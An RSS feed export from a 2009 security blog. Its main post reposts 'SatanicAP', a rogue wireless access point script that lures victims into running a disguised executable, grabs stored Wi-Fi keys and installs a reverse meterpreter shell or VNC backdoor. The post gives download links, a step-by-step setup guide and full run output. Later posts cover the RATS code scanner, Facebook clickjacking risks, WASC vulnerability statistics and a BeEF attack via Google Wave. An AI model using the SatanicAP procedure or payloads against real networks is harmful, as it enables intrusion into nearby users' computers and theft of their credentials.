<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Longjidin&#039;s Kg Lengkong to Bukit Lada</title>
	<atom:link href="http://longjidin.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://longjidin.wordpress.com</link>
	<description>Life Journey&#039;s</description>
	<lastBuildDate>Fri, 06 Nov 2009 12:24:22 +0000</lastBuildDate>
	<generator>http://wordpress.com/</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<cloud domain='longjidin.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://www.gravatar.com/blavatar/a1ea2c3b022c5b4f183b4065275f2597?s=96&#038;d=http://s.wordpress.com/i/buttonw-com.png</url>
		<title>Longjidin&#039;s Kg Lengkong to Bukit Lada</title>
		<link>http://longjidin.wordpress.com</link>
	</image>
			<item>
		<title>SatanicAP (Karmetasploit+WKG+FakeAP+VNCBackdoor)</title>
		<link>http://longjidin.wordpress.com/2009/11/02/satanicap-karmetasploitwkgfakeapvncbackdoor/</link>
		<comments>http://longjidin.wordpress.com/2009/11/02/satanicap-karmetasploitwkgfakeapvncbackdoor/#comments</comments>
		<pubDate>Mon, 02 Nov 2009 14:46:22 +0000</pubDate>
		<dc:creator>longjidin</dc:creator>
				<category><![CDATA[BackTrack]]></category>
		<category><![CDATA[SatanicAP]]></category>

		<guid isPermaLink="false">http://longjidin.wordpress.com/?p=602</guid>
		<description><![CDATA[Hi everybody
The satanic AP is finished. Like the name already says, it&#8217;s an evil wireless access point. It combines Karmetasploit, Wireless Key Viewer (wkg) by hm2075, FakeAP with sbd by g0tmilk and VNC backdooring in one script (everything is done with meterpreter&#8230;).
Some important things:
- The hole script works for my IBM T43p/atheros wireless card/BT4 pre [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=longjidin.wordpress.com&blog=5595616&post=602&subd=longjidin&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>Hi everybody</p>
<p>The satanic AP is finished. Like the name already says, it&#8217;s an evil wireless access point. It combines Karmetasploit, Wireless Key Viewer (wkg) by hm2075, FakeAP with sbd by g0tmilk and VNC backdooring in one script (everything is done with meterpreter&#8230;).</p>
<p>Some important things:</p>
<p>- The hole script works for my IBM T43p/atheros wireless card/BT4 pre final as attacker</p>
<p>- The victim is Windows Vista on a Lenovo T400 with Antivir</p>
<p>- The WLan AP is horribly slow. Maybe it&#8217;s the mtu size, maybe not.</p>
<p>- There are a lot of variables which are exported at the beginning of the script, but you can change nearly everything to your needs</p>
<p>- You don&#8217;t need to download the programms/exes i use, you can compile/download them yourself if you don&#8217;t trust my executables:</p>
<p>&#8212; wkv.exe &#8211; Wireless Key View by nirsoft (maybe i modified some bits in my version), <a href="http://www.nirsoft.net/password_recovery_tools.html" target="_blank">Password Recovery Tools for Windows</a></p>
<p>&#8212; sbd.exe is already on BT. I don&#8217;t use another one.</p>
<p>&#8212; vncbackdoor.exe -&gt; follow pureh@tes tutorial on <a href="http://blip.tv/file/577132" target="_blank">windows backdoor part 1</a> and <a href="http://uploads.blip.tv/file/577932" target="_blank">Uploading a windows vnc backdoor part 2</a> , the new version of ultraVNC changed, you don&#8217;t have to do the registry stuff but pack the .ini file into the exe and run winvnc.exe -run instead of -reinstall. But that&#8217;s another story.</p>
<p>&#8212; fDNS is available on <a href="http://sourceforge.net/projects/dnspentest/" target="_blank">DNSpenTest | Get DNSpenTest at SourceForge.net</a></p>
<p>- SatanicAP can be run in five different modes:</p>
<p>&#8212; 0 = Karmetasploit</p>
<p>&#8212; 1 = Wireless Key Grabber by hm2075</p>
<p>&#8212; 2 = FakeAP by g0tmilk &#8211; <strong>You have to shut down your Antivirus on Windows Victim!</strong></p>
<p>&#8212; 3 = Wireless Key Grabber (1) and FakeAP (2) together &#8211; <strong>Shut down Antivirus</strong>!</p>
<p>&#8212; 4 = UltraVNC Backdoor instead of SBD &#8211; <strong>Shut down Antivirus (and allow VNC on Win Firewall)</strong>!</p>
<p>&#8212; 5 = Wireless Key Grabber (1) and VNC Backdoor (4) &#8211; <strong>Shut down Antivirus (and allow VNC on Win Firewall)</strong>!</p>
<p>- I only implemented VNC to proof that it&#8217;s very easy to extend the script. It took about 10 lines of code</p>
<p>- I commented out the autometer script because i was too lazy to fix it</p>
<p>Here&#8217;s the script only: <a href="http://uploadingit.com/d/ILHSSKZXR4UXSIHE" target="_blank">Uploadingit.com | Downloading File: satanicAP.sh</a></p>
<p>Here&#8217;s the script including programs/exes: <a href="http://uploadingit.com/d/OI3XX6JJIVCY9YLB" target="_blank">Uploadingit.com | Downloading File: satanicAP.tar.gz</a></p>
<p>Here&#8217;s the howto (as short/simple as possible):</p>
<p>1. backup dhcpd.conf</p>
<div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Code:</div>
<pre class="alt2" style="border:1px inset;overflow:auto;width:640px;height:34px;text-align:left;margin:0;padding:6px;">cp /etc/dhcp3/dhcpd.conf /etc/dhcp3/dhcpd.conf.bak</pre>
</div>
<p>2. Change into /root/ folder</p>
<div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Code:</div>
<pre class="alt2" style="border:1px inset;overflow:auto;width:640px;height:34px;text-align:left;margin:0;padding:6px;">cd /root/</pre>
</div>
<p>3. Download <a href="http://uploadingit.com/d/OI3XX6JJIVCY9YLB" target="_blank">Uploadingit.com | Downloading File: satanicAP.tar.gz</a> and extract it into /root/</p>
<div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Code:</div>
<pre class="alt2" style="border:1px inset;overflow:auto;width:640px;height:66px;text-align:left;margin:0;padding:6px;">cd /root/
tar -zxf satanicAP.tar.gz
cd ./SAP</pre>
</div>
<p>4. Read satanicAP.sh script to understand what it does!</p>
<p>5. Go through the export statements at the beginning of the script and change them to your needs. Leave everything you don&#8217;t understand <img class="inlineimg" title="Wink" src="http://forums.remote-exploit.org/images/smilies/wink.gif" border="0" alt="" /></p>
<p>6. Make executable</p>
<div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Code:</div>
<pre class="alt2" style="border:1px inset;overflow:auto;width:640px;height:34px;text-align:left;margin:0;padding:6px;">chmod +x satanicAP.sh</pre>
</div>
<p>7. Run it the first time and read its output</p>
<div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Code:</div>
<pre class="alt2" style="border:1px inset;overflow:auto;width:640px;height:34px;text-align:left;margin:0;padding:6px;">./satanicAP.sh</pre>
</div>
<p>8. Start Karmetasploit and read its output</p>
<div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Code:</div>
<pre class="alt2" style="border:1px inset;overflow:auto;width:640px;height:34px;text-align:left;margin:0;padding:6px;">./satanicAP.sh 0 0</pre>
</div>
<p>9. Connect with a Windows Machine to the AP and open up a browser (mine was not vulnerable)</p>
<p>10. Back in Backtrack you can test other combinations:</p>
<div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Code:</div>
<pre class="alt2" style="border:1px inset;overflow:auto;width:640px;height:34px;text-align:left;margin:0;padding:6px;">./satanicAP.sh 1 1</pre>
</div>
<p>11. Disconnect and Reconnect again with the Windows Machine, open up a browser and go to <a href="http://www.google.com" target="_blank">Google</a> or <a href="http://www.uezdfedjw.net" target="_blank">www.uezdfedjw.net</a>, download the mentioned exe file from the &#8220;fon&#8221; page and execute it. On the Backtrack machine you will see Metasploit starting the &#8220;Sending Stage&#8221;. It takes about 1 minute in my lab. With vnc it takes much longer, because the vncbackdoor.exe is bigger.</p>
<p>12. Here is the output of the script after a successfull execution (example for ./satanicAP 5 0):</p>
<p>Code:</p>
<div style="margin:5px 20px 20px;">
<pre class="alt2" style="border:1px inset;overflow:auto;width:640px;height:498px;text-align:left;margin:0;padding:6px;">root@floyd:~/SAP# ./satanicAP.sh 5 0
[+] Satanic AP by floyd fuh
[+] Cleaning up befor I begin
Site Satanic_AP disabled.
Run '/etc/init.d/apache2 reload' to activate new configuration!
Stopping web server: apache2apache2: apr_sockaddr_info_get() failed for floyd
apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.0.1 for ServerName
[Mon Sep 28 18:09:56 2009] [warn] NameVirtualHost *:80 has no VirtualHosts
 ... waiting .

Interface       Chipset         Driver

wlan0           Atheros         ath5k - [phy0]
mon0            Atheros         ath5k - [phy0] (removed)

Interface       Chipset         Driver

wlan0           Atheros         ath5k - [phy0]
                                (monitor mode disabled)

[+] Making dirs
mkdir: cannot create directory `/root/SAP': File exists
mkdir: cannot create directory `/root/SAP/www': File exists
mkdir: cannot create directory `/root/SAP/payload': File exists
mkdir: cannot create directory `/root/SAP/tools': File exists
mkdir: cannot create directory `/root/SAP/tools/dns_spoof': File exists
[+] Killing wicd
Stopping Network connection manager: wicd.
wicd-client: no process killed
[+] Starting Monitor Mode

Found 1 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID     Name
8117    dhclient

Interface       Chipset         Driver

wlan0           Atheros         ath5k - [phy0]
                                (monitor mode enabled on mon0)

[+] Changing MAC of mon0 to 00:10:23:A2:F2:83
Current MAC: 00:1X:aX:3X:X5:X1 (unknown)
Faked MAC:   00:10:23:a2:f2:83 (Flowwise Networks, Inc.)
[+] Writing /etc/dhcp3/dhcpd.conf
[+] Setting up AP
[+] Sleeping to wait for interface
[+] Starting apache
Starting web server: apache2apache2: apr_sockaddr_info_get() failed for floyd
apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.0.1 for ServerName
[Mon Sep 28 18:10:07 2009] [warn] NameVirtualHost *:80 has no VirtualHosts
.
[+] Setting up VirtualHost config for Satanic AP
[+] Disabling Apache2 site default, enabling Satanic_AP
Site default already disabled
Enabling site Satanic_AP.
Run '/etc/init.d/apache2 reload' to activate new configuration!
[+] Reloading Apache2
Reloading web server config: apache2apache2: apr_sockaddr_info_get() failed for floyd
apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.0.1 for ServerName
.
[+] Compile payload fon_access_2.7.exe (reverse tcp shell)
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
 Length: 272
Options: LHOST=10.0.0.1,LPORT=5555
[+] Writing proof file
[+] Writing common proof file script
[+] Writing FakeAP script
[+] Copying the second payload vncbackdoor.exe/sbd.exe to sys32.exe
[+] Writing Metasploit script
[+] Starting Metasploit
[+] Setting up interfaces and iptables
[+] Starting DHCP
Internet Systems Consortium DHCP Server V3.1.1
Copyright 2004-2008 Internet Systems Consortium.
All rights reserved.
For info, please visit http://www.isc.org/sw/dhcp/
Wrote 13 leases to leases file.
Listening on LPF/at0/00:10:23:a2:f2:83/10.0.0/24
Sending on   LPF/at0/00:10:23:a2:f2:83/10.0.0/24
Sending on   Socket/fallback/fallback-net
Can't create PID file /var/run/dhcpd.pid: Permission denied.
[+] Starting DNS Spoof
[+] You probably have to connect to 10.0.0.100::1050
[+] The password is satanicAPConnect
For further explanation watch pureh@tes http://blip.tv/file/577132
as well as http://uploads.blip.tv/file/577932 . The new version of UltaVNC uses
a .ini file instead of registry and you just have to winvnc.exe -run instead of
winvnc.exe -reinstall.
[+] Satanic AP over and out. floyd fuh</pre>
</div>
<p>&nbsp;</p>
<p>Thanks to bro Floyd from remote-exploit forum for this script</p>
<p>http://forums.remote-exploit.org/wireless/27147-satanicap-karmetasploit-wkg-fakeap-vncbackdoor-2.html</p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/longjidin.wordpress.com/602/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/longjidin.wordpress.com/602/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/longjidin.wordpress.com/602/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/longjidin.wordpress.com/602/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/longjidin.wordpress.com/602/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/longjidin.wordpress.com/602/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/longjidin.wordpress.com/602/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/longjidin.wordpress.com/602/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/longjidin.wordpress.com/602/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/longjidin.wordpress.com/602/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=longjidin.wordpress.com&blog=5595616&post=602&subd=longjidin&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://longjidin.wordpress.com/2009/11/02/satanicap-karmetasploitwkgfakeapvncbackdoor/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/074f62b210fa0b2454cb966ab717e84e?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">longjidin</media:title>
		</media:content>

		<media:content url="http://forums.remote-exploit.org/images/smilies/wink.gif" medium="image">
			<media:title type="html">Wink</media:title>
		</media:content>
	</item>
		<item>
		<title>RATS – Rough Auditing Tool for Security</title>
		<link>http://longjidin.wordpress.com/2009/11/02/rats-%e2%80%93-rough-auditing-tool-for-security/</link>
		<comments>http://longjidin.wordpress.com/2009/11/02/rats-%e2%80%93-rough-auditing-tool-for-security/#comments</comments>
		<pubDate>Mon, 02 Nov 2009 12:59:01 +0000</pubDate>
		<dc:creator>longjidin</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Security Auditing Tool]]></category>

		<guid isPermaLink="false">http://longjidin.wordpress.com/?p=599</guid>
		<description><![CDATA[RATS – Rough Auditing Tool for Security – is an open source tool developed and maintained by Secure Software security engineers. Secure Software was acquired by Fortify Software, Inc. RATS is a tool for scanning C, C++, Perl, PHP and Python source code and flagging common security related programming errors such as buffer overflows and [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=longjidin.wordpress.com&blog=5595616&post=599&subd=longjidin&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p><span style="color:#ff0000;"><span style="text-decoration:underline;">RATS</span></span> – Rough Auditing Tool for Security – is an open source tool developed and maintained by Secure Software security engineers. Secure Software was acquired by Fortify Software, Inc. RATS is a tool for scanning C, C++, Perl, PHP and Python source code and flagging common security related programming errors such as buffer overflows and TOCTOU (Time Of Check, Time Of Use) race conditions.</p>
<p><!--adsense#New468--></p>
<p>RATS scanning tool provides a security analyst with a list of potential trouble spots on which to focus, along with describing the problem, and potentially suggest remedies. It also provides a relative assessment of the potential severity of each problem, to better help an auditor prioritize. This tool also performs some basic analysis to try to rule out conditions that are obviously not problems.</p>
<p>As its name implies, the tool performs only a rough analysis of source code. It will not find every error and will also find things that are not errors. Manual inspection of your code is still necessary, but greatly aided with this tool.</p>
<p><!--adsense#New468--></p>
<p><strong>Requirements</strong></p>
<p>RATS requires expat to be installed in order to build and run. Expat is often installed in /usr/local/lib and /usr/local/include. On some systems, you will need to specify –with-expat-lib and –with-expat-include options to configure so that it can find your installation of the library and header. Expat can be found <a href="http://expat.sourceforge.net/">here</a>.</p>
<p>You can download RATS here:</p>
<p>Source Code:  <a href="http://www.fortify.com/servlet/downloads/public/rats-2.3.tar.gz">rats-2.3.tar.gz</a></p>
<p>Windows Binary: <a href="http://www.fortify.com/servlet/downloads/public/rats-2.3-win32.zip">rats-2.3-win32.zip</a></p>
<p>Or read more <a href="http://www.fortify.com/security-resources/rats.jsp">here</a>.</p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/longjidin.wordpress.com/599/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/longjidin.wordpress.com/599/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/longjidin.wordpress.com/599/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/longjidin.wordpress.com/599/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/longjidin.wordpress.com/599/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/longjidin.wordpress.com/599/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/longjidin.wordpress.com/599/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/longjidin.wordpress.com/599/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/longjidin.wordpress.com/599/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/longjidin.wordpress.com/599/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=longjidin.wordpress.com&blog=5595616&post=599&subd=longjidin&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://longjidin.wordpress.com/2009/11/02/rats-%e2%80%93-rough-auditing-tool-for-security/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/074f62b210fa0b2454cb966ab717e84e?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">longjidin</media:title>
		</media:content>
	</item>
		<item>
		<title>The Dangers of Clickjacking with Facebook</title>
		<link>http://longjidin.wordpress.com/2009/11/01/the-dangers-of-clickjacking-with-facebook/</link>
		<comments>http://longjidin.wordpress.com/2009/11/01/the-dangers-of-clickjacking-with-facebook/#comments</comments>
		<pubDate>Sun, 01 Nov 2009 07:55:57 +0000</pubDate>
		<dc:creator>longjidin</dc:creator>
				<category><![CDATA[Security News]]></category>
		<category><![CDATA[Sosial web]]></category>

		<guid isPermaLink="false">http://longjidin.wordpress.com/?p=595</guid>
		<description><![CDATA[Clickjacking is an admittedly difficult problem to solve entirely, though I question why invisible iframes are necessary. Still, a few techniques to combat the attack exist, such as frame-busting scripts. Twitter implemented this approach after a proof-of-concept attack circulated earlier this year, at the time, several researchers speculated on the ramifications for other sites, such [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=longjidin.wordpress.com&blog=5595616&post=595&subd=longjidin&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p><a title="Clickjacking - Wikipedia, the free encyclopedia" href="http://en.wikipedia.org/wiki/Clickjacking">Clickjacking</a> is an admittedly difficult problem to solve entirely, though I question why invisible iframes are necessary. Still, a few techniques to combat the attack exist, such as frame-busting scripts. Twitter implemented this approach after a proof-of-concept attack circulated earlier this year, at the time, several researchers <a title="Twitter Click-Jacking Vulnerability | Darknet - The Darkside" href="http://www.darknet.org.uk/2009/03/twitter-click-jacking-vulnerability/">speculated on the ramifications</a> for other sites, such as Facebook.</p>
<p>I’ve noted previously that authorizing a Facebook application requires only a single click, even if you’ve exempted your profile from the Facebook Platform. After noticing another possible clickjacking attack vector, I began compiling a list of single-click actions that should give any Facebook user pause. All of the following actions can be mistakenly performed by a user simply clicking a link or button on an innocent-looking page via clickjacking:</p>
<ul>
<li><strong>Authorize a malicious application.</strong> This can happen regardless of any privacy settings. On authorization, an application can immediately access your profile information, your photos, your posted links, your notes, your status updates, etc. It can also send notifications to your profile, send notifications to other people (anonymously or from you), and post feed stories to your wall, all with links included. Note that under default privacy settings, an application can access most of your data if a friend of yours falls prey to this type of attack.</li>
<li><strong>Authorize a legitimate application with a cross-site scripting exploit.</strong> Most applications vulnerable to such an attack allow for clickjacking installs, where a single click authorizes the application and then forwards a user to an infected application page. That landing page can then execute any of the actions listed above for a malicious application. Note that if a friend falls for this attack and you have authorized the application, all of your data is vulnerable as well.</li>
<li><strong>Post a link to your profile.</strong> This is possible by applying clickjacking to several Facebook pages used for sharing content. A custom title and description can be set for the link. Other content, such as a Flash video, can also be posted this way.</li>
<li><strong>Publish a feed story from a malicious application.</strong> Note that this can work <em>regardless of whether you have authorized the application</em>. Applications may publish feed stories prior without authorization by a single click, though this does not grant them access to a user’s data. The feed story may include images, descriptive text, and links. The application can also pre-populate the user’s comments on the story, which would then be submitted upon execution of the clickjacking attack.</li>
<li><strong>Send a message to another user.</strong> The recipient, subject, and message content, including links, can all be pre-populated. This no longer gives the recipient more access to data than usual, but could still be easily used to spread malware.</li>
<li><strong>Send a friend request to another user.</strong> This means that a victim could unknowingly send a friend request to a malicious attacker’s profile, and the attacker would simply need to approve the request to gain access to everything on a user’s profile that their friends can access by default.</li>
<li><strong><span style="text-decoration:line-through;">Harvest a user’s post_form_id.</span></strong> Those familiar with Facebook’s code will realize how serious this issue is. However, exploiting a post_form_id also requires knowing a user’s Facebook ID, and so far this attack does not provide the latter.</li>
</ul>
<p>This list is not simply theoretical – I did some simple testing to make sure that each of these attacks worked. I also would not pretend that my list is exhaustive, and I would welcome any additions from other researchers.</p>
<p>Most of these are already known or fairly trivial to figure out. I am not aware of anyone reporting my method for the last attack, however, and I will be reporting the details of it to Facebook, as I believe it involves a code issue that can be patched apart from any clickjacking protection. <strong>Update:</strong> Facebook pushed a fix last night which I’ve confirmed. The hole came from a dialog page that one could load via a POST request. Outside its normal context, clicking the submit button on the page would forward a user back to the referring page but with the post_form_id appended.</p>
<p>I hope this list will help raise awareness of the potential dangers of clickjacking. Creating a Facebook version of Twitter’s “don’t click” worm would be fairly simple, and as this list indicates, one could do far more than simply post a link in the process.</p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/longjidin.wordpress.com/595/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/longjidin.wordpress.com/595/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/longjidin.wordpress.com/595/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/longjidin.wordpress.com/595/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/longjidin.wordpress.com/595/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/longjidin.wordpress.com/595/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/longjidin.wordpress.com/595/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/longjidin.wordpress.com/595/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/longjidin.wordpress.com/595/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/longjidin.wordpress.com/595/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=longjidin.wordpress.com&blog=5595616&post=595&subd=longjidin&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://longjidin.wordpress.com/2009/11/01/the-dangers-of-clickjacking-with-facebook/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/074f62b210fa0b2454cb966ab717e84e?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">longjidin</media:title>
		</media:content>
	</item>
		<item>
		<title>Web Application Security Consortium (WASC) 2008 Statistics Published</title>
		<link>http://longjidin.wordpress.com/2009/11/01/web-application-security-consortium-wasc-2008-statistics-published/</link>
		<comments>http://longjidin.wordpress.com/2009/11/01/web-application-security-consortium-wasc-2008-statistics-published/#comments</comments>
		<pubDate>Sun, 01 Nov 2009 07:28:47 +0000</pubDate>
		<dc:creator>longjidin</dc:creator>
				<category><![CDATA[Security News]]></category>
		<category><![CDATA[Web Security]]></category>

		<guid isPermaLink="false">http://longjidin.wordpress.com/?p=590</guid>
		<description><![CDATA[The Web Application Security Consortium (WASC) is pleased to announce the WASC Web Application Security Statistics Project 2008. This initiative is a collaborative industry wide effort to pool together sanitized website vulnerability data and to gain a better understanding about the web application vulnerability landscape. We ascertain which classes of attacks are the most prevalent [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=longjidin.wordpress.com&blog=5595616&post=590&subd=longjidin&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>The Web Application Security Consortium (WASC) is pleased to announce the WASC Web Application Security Statistics Project 2008. This initiative is a collaborative industry wide effort to pool together sanitized website vulnerability data and to gain a better understanding about the web application vulnerability landscape. We ascertain which classes of attacks are the most prevalent regardless of the methodology used to identify them. Industry statistics such as those compiled by Mitre CVE project provide valuable insight into the types of vulnerabilities discovered in open source and commercial applications, this project tries to be the equivalent for custom web applications.</p>
<div class="entrybody" style="margin-top:30px;">
<p><strong>Goals</strong></p>
<ol>
<li>Identify the prevalence and probability of different vulnerability classes.</li>
<li>Compare testing methodologies against what types of vulnerabilities they are likely to identify.</li>
</ol>
<p>The statistics was compiled from web application security assessment projects which were made by the following companies in 2008 (in alphabetic order):</p>
<ul>
<li>Blueinfy</li>
<li>Cenzic with Hailstorm</li>
<li>DNS with WebInspect</li>
<li>Encription Limited</li>
<li>HP Application Security Center with WebInspect</li>
<li>Positive Technologies with MaxPatrol</li>
<li>Veracode with Veracode Security Review</li>
<li>WhiteHat Security with WhiteHat Sentinel</li>
</ul>
<p>The statistics includes data about 12186 sites with 97554 detected vulnerabilities. The report contains Web application vulnerability statistics which was collected during penetration testing, security audits and other activities made by companies which were members of WASC in 2008. The statistics includes data about 12186 sites with 97554 detected vulnerabilities.</p>
<p>You can find the full study here:</p>
<p><a href="http://projects.webappsec.org/Web-Application-Security-Statistics">Web Application Security Statistics</a></p>
<p>www.darknet.org.uk</p>
</div>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/longjidin.wordpress.com/590/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/longjidin.wordpress.com/590/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/longjidin.wordpress.com/590/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/longjidin.wordpress.com/590/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/longjidin.wordpress.com/590/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/longjidin.wordpress.com/590/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/longjidin.wordpress.com/590/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/longjidin.wordpress.com/590/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/longjidin.wordpress.com/590/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/longjidin.wordpress.com/590/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=longjidin.wordpress.com&blog=5595616&post=590&subd=longjidin&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://longjidin.wordpress.com/2009/11/01/web-application-security-consortium-wasc-2008-statistics-published/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/074f62b210fa0b2454cb966ab717e84e?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">longjidin</media:title>
		</media:content>
	</item>
		<item>
		<title>Google Wave as a Tool for Hacking</title>
		<link>http://longjidin.wordpress.com/2009/11/01/google-wave-as-a-tool-for-hacking/</link>
		<comments>http://longjidin.wordpress.com/2009/11/01/google-wave-as-a-tool-for-hacking/#comments</comments>
		<pubDate>Sun, 01 Nov 2009 07:15:03 +0000</pubDate>
		<dc:creator>longjidin</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Google Hacking]]></category>

		<guid isPermaLink="false">http://longjidin.wordpress.com/?p=586</guid>
		<description><![CDATA[

Many security researchers are familiar with BeEF, a browser exploitation framework by Wade Alcorn. In short, BeEF is a program that brings together various types of code for taking advantage of known vulnerabilities in web browsers. If a target computer loads a certain bit of code within a web page, that code connects to a [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=longjidin.wordpress.com&blog=5595616&post=586&subd=longjidin&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p><!--end post header--></p>
<div class="entry clear">
<p>Many security researchers are familiar with <a title="BindShell.Net: BeEF" href="http://www.bindshell.net/tools/beef">BeEF</a>, a browser exploitation framework by Wade Alcorn. In short, BeEF is a program that brings together various types of code for taking advantage of known vulnerabilities in web browsers. If a target computer loads a certain bit of code within a web page, that code connects to a server control panel which can then execute certain attacks against the “zombie” machine.</p>
<p>After noting potential security issues with the gadgets in Google Wave, I set about to finally setup a BeEF testbed and see if Google Wave was as capable a platform for malware delivery as I suspected.</p>
<div id="attachment_545" class="wp-caption aligncenter" style="width:390px;"><a href="http://theharmonyguy.com/wp-content/uploads/2009/10/wavebeef.jpg"><img class="size-medium wp-image-545" title="wavebeef" src="http://theharmonyguy.com/wp-content/uploads/2009/10/wavebeef-380x400.jpg" alt="Example of a BeEF zombie spawned via Google Wave" width="380" height="400" /></a>
<p>&nbsp;</p>
<p class="wp-caption-text">Example of a BeEF zombie spawned via Google Wave</p>
</div>
<p>The picture above shows the results. I successfully created a Google Wave gadget that creates a new BeEF zombie whenever someone views the wave. This does not allow for the keylogger function of BeEF, but I did send an alert dialog (as shown) and used the Chrome DoS function to crash the browser tab. (I could also detect that the zombie machine had Flash installed – imagine the possibilities of using Flash or PDF exploits in an auto-loaded gadget.)</p>
<p>What’s even more disconcerting is that BeEF can integrate with Metasploit to potentially take over a victim’s machine. I do not currently have Metasploit setup to test using Autopwn, but based on my experiences so far, I’m fairly confident such an attack would succeed.</p>
